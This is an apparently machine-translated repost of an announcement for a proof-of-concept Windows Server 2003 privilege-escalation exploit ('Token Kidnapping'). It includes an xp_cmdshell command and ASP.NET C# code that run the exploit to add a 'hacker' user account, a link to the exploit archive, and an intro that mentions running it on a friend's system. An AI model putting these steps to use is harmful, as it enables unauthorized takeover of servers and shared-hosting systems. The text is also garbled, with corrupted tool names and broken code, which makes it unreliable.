My colleague discovered this vulnerability the day before yesterday. Today, I tested it in my friend's space and can indeed run all the commands,
So far, no patch has been provided for ms. It is estimated that tens of thousands of bots have been added in China. DDoS attacks are getting worse.
It has been a long time since Token Kidnapping presentation (http ://
Www.argeniss.com/research/Tokenkidnapping.pdf) was published so I
Decided to release a POC exploit for win2k3 that alows to execute code
Under SYSTEM account.
Basically if you can run code under any service in win2k3 then you can
Own windows, this is because Windows Services accounts can
Impersonate.
Other process (not services) that can impersonate are IIS 6 worker
Processes so if you can run code from an ASP. NET or classic ASP Web
Application then you can own windows too. If you provide shared
Hosting services then I wowould recomend to not allow users to run this
Kind of code from ASP.
-SQL Server is a nice target for the exploit if you are a DBA and want
To own windows:
Exec xp_cmdshell 'rasco "Net user/Add hacker "'
-Exploiting IIS 6 with ASP. NET:
...
System. Diagnostics. Process myp = new system. Diagnostics. Process ();
Myp. startinfo.
Redirectstandardoutput = true;
Myp. startinfo. filename = server. Mappath ("maid ");
Myp. startinfo. useshellexecute = false;
Myp. startinfo. Arguments = "\" Net user/Add hacker \"";
Myp. Start ();
String output = myp. standardoutput. readtoend () ;
Response. Write (output );
...
You can find the POC exploit here http://www.argeniss.com/Research/chilrasco.zip
Enjoy.
Posted by Cesar cerrudo at 4: 10 pm